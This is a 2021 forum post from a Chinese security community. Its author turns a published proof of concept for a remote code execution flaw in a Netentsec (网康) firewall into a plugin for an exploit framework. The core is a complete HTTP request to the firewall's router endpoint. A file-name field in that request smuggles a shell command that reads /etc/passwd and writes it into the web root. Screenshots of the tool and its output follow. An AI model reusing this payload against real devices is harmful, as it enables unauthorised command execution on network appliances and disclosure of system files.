# 把HW0dy 网康防火墙RCE工具化

**URL:** <https://forum.90sec.com/t/topic/1649>\
**Category:** 工具资源\
**Created:** [2021 年4 月 25 日 10:23 UTC](https://forum.90sec.com/t/topic/1649 "2021-04-25T10:23:18Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![zjjchenyifu](https://forum.90sec.com/letter_avatar_proxy/v4/letter/z/e99b99/32.png) [@zjjchenyifu](https://forum.90sec.com/u/zjjchenyifu)\
发布日期： [2021 年4 月 25 日 10:23 UTC](https://forum.90sec.com/t/topic/1649/1 "2021-04-25T10:23:18Z")

</div>

上面大佬发布了一个主题 `hw期间的漏洞poc&exp`

后来就去看了下POC。然后也参考了一些大佬的文章，最后决定把 网康防火墙这个工具化一下。当做自己认真学习的记录。  
首先是POC格式

```http
POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 178

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

```

然后分解一下填入我的limanmanExp模板中

 ![1](https://forum.90sec.com/uploads/default/original/2X/0/04bfde6d50a445f51bbb7d15ffe374dd72f976a3.jpeg)

设置完成制作dll插件， 上传看云  
[https://www.kancloud.cn/qq496672097/limanmanexp/2239749](https://www.kancloud.cn/qq496672097/limanmanexp/2239749)  
运行效果如下

 ![无标题](https://forum.90sec.com/uploads/default/original/2X/a/a819f219aea15f1aae24603320bf1f45da655069.jpeg)
